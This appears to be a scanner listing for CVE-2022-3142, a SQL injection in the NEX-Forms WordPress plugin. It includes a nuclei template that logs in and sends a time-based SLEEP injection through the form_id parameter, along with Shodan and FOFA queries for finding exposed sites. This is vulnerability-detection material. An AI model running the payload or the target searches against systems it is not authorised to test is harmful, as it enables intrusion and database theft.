NEX-Forms Plugin < 7.9.7 - SQL Injection

highseverity

8.8CVSS score

14.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The NEX-Forms WordPress plugin before 7.9.7 does not properly sanitise and escape user input before using it in SQL statements, leading to SQL injections. The attack can be executed by anyone who is permitted to view the forms statistics chart, by default administrators, however can be configured otherwise via the plugin settings.

Impact

Authenticated attackers with form statistics viewing permissions can execute SQL injection through the form_id parameter to extract the complete WordPress database including user credentials, email addresses, and sensitive site data.

Fix

Fixed in version 7.9.7

How to confirm it

Send: POST /wp-login.php ; @timeout: 30s
Positive when: duration>=7 and status_code_2 == 200 and contains(body_2, "NEX-Forms") and contains(content_type_2, "text/html")

Run it with nuclei: nuclei -id CVE-2022-3142 -u <target>

The full check

id: CVE-2022-3142

info:
  name: NEX-Forms Plugin < 7.9.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The NEX-Forms WordPress plugin before 7.9.7 does not properly sanitise and escape user input before using it in SQL statements, leading to SQL injections. The attack can be executed by anyone who is permitted to view the forms statistics chart, by default administrators, however can be configured otherwise via the plugin settings.
  impact: |
    Authenticated attackers with form statistics viewing permissions can execute SQL injection through the form_id parameter to extract the complete WordPress database including user credentials, email addresses, and sensitive site data.
  remediation: Fixed in version 7.9.7
  reference:
    - https://wpscan.com/vulnerability/8acc0fc6-efe6-4662-b9ac-6342a7823328/
    - https://www.exploit-db.com/exploits/51042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3142
    - http://packetstormsecurity.com/files/171477/WordPress-NEX-Forms-SQL-Injection.html
    - https://medium.com/%40elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-3142
    cwe-id: CWE-89
    epss-score: 0.1465
    epss-percentile: 0.96686
    cpe: cpe:2.3:a:basixonline:nex-forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: basixonline
    product: nex-forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/nex-forms-express-wp-form-builder/
    fofa-query: body=/wp-content/plugins/nex-forms-express-wp-form-builder/
    publicwww-query: /wp-content/plugins/nex-forms-express-wp-form-builder/
  tags: time-based-sqli,cve,cve2022,wpscan,packetstorm,wordpress,sqli,wp-plugin,wp,authenticated,basixonline,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 30s
        GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(7)))b)-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code_2 == 200'
          - 'contains(body_2, "NEX-Forms")'
          - 'contains(content_type_2, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from